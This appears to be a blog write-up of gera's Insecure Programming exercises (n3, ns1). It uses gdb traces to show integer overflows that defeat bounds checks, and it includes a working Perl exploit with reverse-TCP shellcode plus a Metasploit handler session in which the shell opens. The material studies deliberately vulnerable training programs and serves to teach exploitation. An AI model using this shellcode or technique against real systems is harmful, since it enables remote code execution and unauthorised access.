(gdb) info frame
Stack level 0, frame at 0xbffffab8:
eip = 0x8048610 in main (n3_debug.c:26); saved eip 0x8049cc8
called by frame at 0x8049ca0
source language c.
Arglist at 0xbffffab8, args: argv=134520048, argc=0x8049d18
Locals at 0xbffffab8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffab8, eip at 0xbffffabc
(gdb) x/x 0xbffffabc
0xbffffabc: 0x08049cc8
(gdb) x/x *0xbffffabc
0x8049cc8: 0x61616161
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08049ce8 in ?? ()

During one of the loop iterations (after writing past alloca's storage space), main's saved eip is overwritten with an address returned from a strdup. This address points to a character string in the heap that contains a bunch of "a"s (0x61).

Here is my exploit code to take advantage of this integer overflow and stack overflow.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# overflows alloca math to only allocate 8 bytes.
print "1073741826\n";

# 26 rows of filler
for (my $i = 1; $i < 27; $i++) {
print "A" x 32;
print "\n"
}

print $nops . $shellcode . "\n";

A small nop sled and shellcode are read in on the 28th iteration of the loop. strdup copies this egg to the heap and returns it's address to *args. *args will at that time be pointing to main's saved eip. On return from main, the heap address is popped from saved eip into eip and the the shellcode starts executing.

Here's what it looks like in action.

[dennis@localhost n3]$ ./n3_debug < exp2
unsigned int count = 0x40000002 (1073741826)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x8 (8)

[dennis@localhost n3]$ exit

...

msf > use multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:59560) at 2012-02-12 18:15:50 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n3

Saturday, January 14, 2012

Numeric: ns1

gera's Insecure Programming ns1.c

I added some printf debug statements.

/* n1.c *
* specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

#define MAX_SIZE 80

unsigned int atoul(char *str) {
unsigned int answer=0;
for (;*str && isdigit(*str);
answer *= 10, answer += *str++-'0');

printf("unsigned int answer = 0x%x (%u)\n", answer, answer);
return answer;
}

int main(int argv, char **argc) {
char buf[MAX_SIZE],*pbuf=buf;
int count = atoul(argc[1]);
printf("signed int count = 0x%x (%d)\n", count, count);

if (count >= MAX_SIZE) count = MAX_SIZE-1;
printf("after bounds check, count = 0x%x (%d)\n", count, count);

while (count--) {
printf("count = 0x%x (%d)\n", count, count);
*pbuf++=getchar();
}
*pbuf=0;
}

Here are some test values.

dennis@ipa:~$ ./n1 30
unsigned int answer = 0x1e (30)
signed int count = 0x1e (30)
after bounds check, count = 0x1e (30)

dennis@ipa:~$ ./n1 100
unsigned int answer = 0x64 (100)
signed int count = 0x64 (100)
after bounds check, count = 0x4f (79)

dennis@ipa:~$ ./n1 1000000000000
unsigned int answer = 0xd4a51000 (3567587328)
signed int count = 0xd4a51000 (-727379968)
after bounds check, count = 0xd4a51000 (-727379968)

As can be seen from the second test and the boundary condition check in the code, if count is greater than 80 it is reset to MAX_SIZE-1 (79).

In the third test, if count becomes very large, it overflows the signed type and turns into a negative number.

The first important boundary number is 2147483648 which is where a 32-bit signed int overflows.

dennis@ipa:~$ echo "AAAA" | ./n1_debug 2147483647 | head -5
unsigned int answer = 0x7fffffff (2147483647)
signed int count = 0x7fffffff (2147483647)
after bounds check, count = 0x4f (79)
count = 0x4e (78)
count = 0x4d (77)

dennis@ipa:~$ echo "AAAA" | ./n1_debug 2147483648 | head -5
unsigned int answer = 0x80000000 (2147483648)
signed int count = 0x80000000 (-2147483648)
after bounds check, count = 0x80000000 (-2147483648)
count = 0x7fffffff (2147483647)
count = 0x7ffffffe (2147483646)

The second is 4294967296, where a 32-bit signed int overflows again and turns back into a positive value.

dennis@ipa:~$ echo "AAAA" | ./n1_debug 4294967295 | head -5
unsigned int answer = 0xffffffff (4294967295)
signed int count = 0xffffffff (-1)
after bounds check, count = 0xffffffff (-1)
count = 0xfffffffe (-2)
count = 0xfffffffd (-3)

dennis@ipa:~$ echo "AAAA" | ./n1_debug 4294967296 | head -5
unsigned int answer = 0x0 (0)
signed int count = 0x0 (0)
after bounds check, count = 0x0 (0)

By supplying a number between these two boundaries, the boundary condition check will be bypassed.

The while loop will getchar() a character and write it to buf until count is zero. Since count has been overflowed it is a very large negative number and the loop will continue to write characters past buf and over important stack things such as main's saved eip.

(gdb) run 2147483648 < in
Starting program: /home/dennis/n1/n1_debug 2147483648 < in
unsigned int answer = 0x80000000 (2147483648)
signed int count = 0x80000000 (-2147483648)
after bounds check, count = 0x80000000 (-2147483648)
count = 0x7fffffff (2147483647)
count = 0x7ffffffe (2147483646)
count = 0x7ffffffd (2147483645)
...
(gdb) info frame
Stack level 0, frame at 0xbffffaf8:
eip = 0x80485c8 in main (n1_debug.c:29); saved eip 0x41414141
called by frame at 0x41414141
source language c.
Arglist at 0xbffffaf8, args: argv=1094795585, argc=0x41414141
Locals at 0xbffffaf8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffaf8, eip at 0xbffffafc
(gdb) x/32x buf
0xbffffaa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb10: 0x41414141 0x41414141 0x41414141 0x41414141

The problem I couldn't solve while trying to exploit this bug (on this system atleast) was that the numbers required are so large that the while loop will write past the stack and into inaccessible memory causing a segfault.

0xbfffffd0: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0xbfffffe0: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0xbffffff0: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0xc0000000: Cannot access memory at address 0xc0000000
(gdb) x/i $eip
0x80485c8
: mov %dl,(%eax)
(gdb) x/x $eax
0xc0000000: Cannot access memory at address 0xc0000000
...
count = 0x7ffffaa1 (2147482273)
count = 0x7ffffaa0 (2147482272)
count = 0x7ffffa9f (2147482271)

Program received signal SIGSEGV, Segmentation fault.
0x080485c8 in main (argv=1094795585, argc=0x41414141) at n1_debug.c:29
29 *pbuf++=getchar();